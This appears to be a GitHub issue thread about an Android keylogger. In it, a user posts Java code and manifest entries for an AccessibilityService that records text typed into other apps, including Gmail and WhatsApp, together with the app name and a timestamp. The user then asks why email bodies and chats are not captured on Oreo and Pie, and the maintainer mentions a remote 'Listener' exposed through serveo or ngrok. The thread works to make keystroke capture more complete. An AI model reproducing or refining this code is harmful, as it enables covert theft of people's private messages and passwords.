Open jatayu86 opened 4 years ago
Have you set up the Listener
on your own phone ? (Like using serveo or ngrok) If yes , your phone can't handle too many requests , so most of the data aren't logged
I think it should log everything I believe there must be some mistake / problem on your Listener side , can you give me details ?
I think it should log everything I believe there must be some mistake / problem on your Listener side , can you give me details ?
There is no listener, the issue was simulatable both in emulator and phone using Oreo.The TYPE_VIEW_TEXT_CHANGED is not triggered for items like body of email,chats. Trigger of the 'To' email address,browser url data comes up fine as events.
PS: All these work fine for Android Q. For Pie nothing is triggered.
<service android:name=".MyAccessibilityService" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
</service>
</application>
<uses-sdk android:minSdkVersion="19" android:targetSdkVersion="27" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
import android.os.Bundle;
import org.apache.cordova.;
import android.accessibilityservice.AccessibilityService;
import android.accessibilityservice.AccessibilityServiceInfo;
import android.content.Context;
import android.provider.Settings;
import android.text.TextUtils;
import android.util.Log;
import android.view.WindowManager;
import android.view.accessibility.AccessibilityEvent;
import java.io.;
import java.util.*;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.List;
public class MyAccessibilityService extends AccessibilityService { private static Context context; long tStart = System.currentTimeMillis(); public void onCreate() { super.onCreate(); MyAccessibilityService.context = getApplicationContext(); } public static Context getAppContext() { return MyAccessibilityService.context; } @Override public void onAccessibilityEvent(AccessibilityEvent event) { final int eventType = event.getEventType(); String eventText = null; switch(eventType) { case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED: Calendar c = Calendar.getInstance(); SimpleDateFormat df = new SimpleDateFormat("dd-MM-yyyy HH:mm:ss"); String formattedDate = df.format(c.getTime()); final String sourcePackageName = (String) event.getPackageName(); eventText = formattedDate+" in ["+sourcePackageName+"]>>>>"; break; } List text = event.getText(); CharSequence latestText = (CharSequence) text.get(0); eventText = eventText + latestText; System.out.println("ACCESSIBILITY SERVICE : "+eventText); appendLog(eventText); }
Hi , Has this been tested in Oreo 8.0 or 8.1?I can find that only some text change events get triggered.For eg, open Gmail and compose a new mail, the 'To address' text gets logged, but the body text isn't .Similarly with other apps like watsapp. Do we have any kind of workthrough?